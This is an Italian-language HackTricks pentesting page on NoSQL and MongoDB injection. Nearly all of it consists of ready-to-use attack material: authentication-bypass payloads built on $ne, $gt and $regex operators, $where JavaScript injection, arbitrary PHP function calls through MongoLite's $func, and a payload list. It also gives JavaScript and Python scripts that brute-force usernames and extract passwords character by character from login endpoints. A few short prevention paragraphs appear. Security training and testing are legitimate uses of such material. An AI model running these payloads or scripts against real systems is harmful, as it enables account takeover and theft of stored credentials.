hacktricks/pentesting-web/nosql-injection.md

15 KiB

Iniezione NoSQL


Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Sfruttare

In PHP puoi inviare un Array cambiando il parametro inviato da parameter=foo a parameter[arrName]=foo.

Gli exploit si basano sull'aggiunta di un Operatore:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass dell'autenticazione di base

Utilizzando non uguale ($ne) o maggiore ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Nel contesto di MongoDB, le iniezioni NoSQL possono verificarsi quando le query non vengono correttamente validate o sanificate. Gli attaccanti possono sfruttare queste vulnerabilità per eseguire query dannose, ottenere dati sensibili o compromettere l'integrità dei dati nel database MongoDB. Per prevenire le iniezioni NoSQL, è consigliabile utilizzare sempre le funzioni di query parametrizzate o ORM che gestiscono correttamente l'interazione con il database.

query = { $where: `this.username == '${username}'` }

Un attaccante può sfruttare ciò inserendo stringhe come admin' || 'a'=='a, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia ('a'=='a'). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come ' or 1=1-- - per manipolare le query SQL. In MongoDB, possono essere effettuate iniezioni simili utilizzando input come ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Estrarre informazioni sulla lunghezza

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Estrarre informazioni sui dati

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

Iniezione NoSQL

L'iniezione NoSQL è una tecnica di attacco che sfrutta le debolezze nelle implementazioni di database NoSQL. Questo tipo di attacco è simile all'iniezione SQL, ma anziché mirare a database relazionali, mira a database NoSQL come MongoDB.

Esempio di Iniezione NoSQL

Un esempio di iniezione NoSQL potrebbe verificarsi quando un'applicazione utilizza input non sanificato per interrogare un database MongoDB. Un attaccante potrebbe sfruttare questa vulnerabilità per eseguire query dannose o ottenere informazioni riservate dal database.

Prevenzione dell'Iniezione NoSQL

Per prevenire l'iniezione NoSQL, è fondamentale validare e sanificare accuratamente tutti gli input dell'utente prima di utilizzarli in query al database. Utilizzare anche meccanismi di autenticazione e autorizzazione robusti per limitare l'accesso non autorizzato alle risorse del database.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Esecuzione Arbitraria di Funzioni PHP

Utilizzando l'operatore $func della libreria MongoLite (utilizzato per impostazione predefinita), potrebbe essere possibile eseguire una funzione arbitraria come in questo report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Ottenere informazioni da diverse collezioni

È possibile utilizzare $lookup per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una collezione diversa chiamata users e ottenendo i risultati di tutte le voci con una password corrispondente a un carattere jolly.

NOTA: $lookup e altre funzioni di aggregazione sono disponibili solo se la funzione aggregate() è stata utilizzata per eseguire la ricerca anziché le più comuni funzioni find() o findOne().

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Payload di MongoDB

Elenco da qui

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Script Blind NoSQL

Descrizione

Il seguente script può essere utilizzato per eseguire un attacco di NoSQL injection cieco.

const axios = require('axios');

async function blindNoSQLInjection() {
  let password = '';
  let characters = 'abcdefghijklmnopqrstuvwxyz0123456789';

  for (let i = 0; i < 8; i++) {
    let found = false;
    for (let j = 0; j < characters.length; j++) {
      const payload = `{"username": "admin", "password": {"$regex": "^${password}${characters[j]}"}}`;
      const response = await axios.post('http://target.com/login', payload);
      if (response.data.success) {
        password += characters[j];
        found = true;
        break;
      }
    }
    if (!found) {
      console.log('Password not found!');
      break;
    }
  }

  console.log('Password:', password);
}

blindNoSQLInjection();
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Forza bruta i nomi utente e le password di accesso da POST login

Questo è uno script semplice che potresti modificare, ma gli strumenti precedenti possono anche svolgere questo compito.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Strumenti

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:


Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}